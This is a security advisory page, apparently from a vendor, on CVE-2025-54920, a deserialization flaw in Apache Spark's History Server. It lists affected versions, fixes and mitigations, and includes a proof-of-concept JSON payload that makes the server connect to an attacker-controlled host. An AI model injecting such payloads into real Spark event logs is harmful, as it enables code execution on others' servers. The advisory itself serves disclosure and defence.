CVE-2025-54920 is a high-severity (CVSS 8.8) Deserialization of Untrusted Data vulnerability in org.apache.spark:spark-core_2.13. A fix is available for org.apache.spark:spark-core_2.13 — see the affected versions and patch details below.
Apache Spark: Spark History Server Code Execution Vulnerability
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54920.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-54920 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.apache.spark:spark-core_2.13☕org.apache.spark:spark-core_2.13☕org.apache.spark:spark-core_2.12☕org.apache.spark:spark-core_2.11☕org.apache.spark:spark-core_2.10☕org.apache.spark:spark-core_2.9.3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.apache.spark:spark-core_2.13 | ≥ 4.0.0&&< 4.0.1 | 4.0.1org.apache.spark:spark-core_2.13:4.0.1 |
| ☕Maven | org.apache.spark:spark-core_2.13 | all versions | 3.5.7org.apache.spark:spark-core_2.13:3.5.7 |
| ☕Maven | org.apache.spark:spark-core_2.12 | all versions | 3.5.7org.apache.spark:spark-core_2.12:3.5.7 |
| ☕Maven | org.apache.spark:spark-core_2.11 | all versions | No fix |
| ☕Maven | org.apache.spark:spark-core_2.10 | all versions | No fix |
| ☕Maven | org.apache.spark:spark-core_2.9.3 | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.apache.spark:spark-core_2.13, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.apache.spark:spark-core_2.13 to 4.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54920 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-54920 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-54920. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-54920 in your dependencies?
O3 Security finds CVE-2025-54920 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.